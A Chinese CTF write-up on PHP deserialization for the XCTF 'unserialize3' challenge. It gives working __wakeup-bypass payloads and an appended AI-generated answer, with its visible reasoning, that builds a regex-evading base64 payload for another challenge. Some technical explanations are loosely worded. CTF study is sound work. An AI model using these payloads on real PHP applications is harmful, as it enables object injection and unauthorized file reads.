serialize()序列化引起的魔术方法__wakeup()函数漏洞—攻防世界-web萌新-unserialize3

本文探讨PHP中serialize和unserialize函数的应用,详解__wakeup魔术方法在序列化过程中的作用及潜在的安全漏洞,通过实例展示如何绕过__wakeup函数实现目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点:

1、serialize()函数:用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

2、unserialize()函数:用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

3、魔术方法:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。

4、serialize()和unserialize()函数对魔术方法的处理:serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。
unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

5、__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

对于unserialize3这个题,里面有__wakeup()函数:

 结合题目和题中代码,就是让我们运用,__wakeup()函数的漏洞拿flag的。

创建一个xctf类并对其进行序列化:
 

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
?>

得到结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行。

传参?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},拿到flag:xctf{63a8055fd385db30f57d32b44225c42b}

<think>好的,我现在需要帮助用户解决攻防世界Web_php_unserialize的CTF题目。首先,用户希望了解解题思路,特别是针对PHP序列化手题。我应该结合用户提供的引用内容来整理答案。 首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP序列化的基础知识和phps文件的作用,可能对解题有帮助。 接下来,解题步骤可能需要包括以下部分: 1. **代码分析**:查看题目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。 2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。 3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。 4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。 5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合题目参数的要求。 6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。 在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。 此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。 最后,生成相关问题,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。 需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解题思路 #### 一、题目分析 1. **代码审查** 题目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下: - 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。 -序列化入口通过`unserialize(base64_decode($_GET[&#39;var&#39;]))`接收参数[^5]。 - 存在正则过滤`preg_match(&#39;/[oc]:\d+:/i&#39;)`,阻止以`O:数字`开头的序列化字符串。 2. **漏洞定位** 目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制: - **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。 - **绕过正则过滤**:调整序列化字符串格式。 --- #### 二、解题步骤 1. **构造恶意类** 假设题目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`: ```php class Demo { private $file = &#39;fl4g.php&#39;; } ``` 2. **生成序列化字符串** - 序列化对象: ```php $obj = new Demo(); $serialized = serialize($obj); ``` 输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。 - **绕过`__wakeup()`**: 修改属性数量为**大于实际值**(如从`1`改为`2`): ```php $payload = str_replace(&#39;:1:&#39;, &#39;:2:&#39;, $serialized); ``` - **绕过正则过滤**: 将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码): ```php $payload = preg_replace(&#39;/O:\d+/&#39;, &#39;O:+4&#39;, $payload); ``` 3. **Base64编码** 题目要求参数`var`需Base64编码[^5]: ```php $final_payload = base64_encode($payload); ``` 4. **发送Payload** 通过URL传递参数: ``` http://题目地址?var=<?php echo $final_payload; ?> ``` --- #### 三、关键技巧 1. **魔术方法绕过** - `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。 - `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。 2. **正则绕过** - 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。 - 若过滤严格,可尝试Unicode编码或特殊符号注入。 --- #### 四、示例Payload 原始序列化字符串: ``` O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} ``` 修改后: ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` Base64编码结果: ``` TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ``` ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值